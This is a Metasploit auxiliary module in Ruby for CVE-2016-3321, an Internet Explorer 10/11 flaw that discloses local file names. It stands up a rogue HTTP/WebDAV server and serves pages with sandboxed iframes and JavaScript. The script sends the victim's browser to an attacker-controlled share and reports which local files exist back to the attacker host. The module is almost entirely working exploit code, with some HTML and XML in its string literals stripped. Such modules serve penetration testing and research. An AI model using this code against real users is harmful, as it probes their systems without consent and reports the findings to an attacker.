## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability', 'Description' => %q{ It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share. }, 'License' => MSF_LICENSE, 'Author' => 'Yorick Koster', 'References' => [ ['CVE', '2016-3321'], ['MSB', 'MS16-095'], ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'], ], 'Platform' => 'win', 'Targets' => [ [ 'Internet Explorer', {} ], ], 'DisclosureDate' => "Aug 9 2016", 'DefaultTarget' => 0 )) register_options( [ OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]), OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]), ], self.class) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH') end def js my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] %Q|function report() { if(window.location.protocol != 'file:') { try { window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch (e) { } return; } var frames = document.getElementsByTagName('iframe'); for(var i = 0; i < frames.length; i++) { try { if(frames[i].name == 'notfound') { frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; } else { frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; } } catch(e) { } } }| end def html frames = "" datastore['PATHS'].split(',').each do |path| frames = frames + "" end %Q| #{frames} | end def svg my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] %Q| | end def is_target_suitable?(user_agent) if user_agent =~ /^Microsoft-WebDAV-MiniRedir/ return true end info = fingerprint_user_agent(user_agent) if info[:ua_name] == HttpClients::IE return true end false end def on_request_uri(cli, request) my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' unless is_target_suitable?(request.headers['User-Agent']) print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg") resp = create_response(200, "OK") resp.body = svg resp['Content-Type'] = 'image/svg+xml' resp['Content-Disposition'] = 'attachment;filename=image.svg' cli.send_response(resp) end case request.uri when /^\/found\/\?f=/ f = URI.unescape(request.uri.gsub('/found/?f=', '')) report_note(host: cli.peerhost, type: 'ie.filenames', data: f) print_good("Found file " + f) send_response(cli, '') when /^\/notfound\/\?f=/ f = URI.unescape(request.uri.gsub('/notfound/?f=', '')) print_error("The file " + f + " does not exist") send_response(cli, '') when "/" resp = create_response(200, "OK") resp.body = %Q| | resp['Content-Type'] = 'text/html' cli.send_response(resp) else print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page") send_response(cli, html) end else print_status("#{request.method} #{request.uri} => 404") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("PROPFIND #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path !~ /\/$/ if path.index(".") print_status "PROPFIND => 207 File (#{path})" body = %Q| #{path} #{gen_datestamp} #{rand(0x100000)+128000} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else print_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status "PROPFIND => 207 Directory (#{path})" body = %Q| #{path} #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else print_status "PROPFIND => 207 Top-Level Directory" end body << "" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = datastore['SHARENAME'] %Q| #{path}#{share_name}/ #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 %Q| #{path}index.html #{gen_datestamp} #{rand(0x10000)+120} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end def run datastore['URIPATH'] = '/' datastore['SRVPORT'] = 80 exploit end end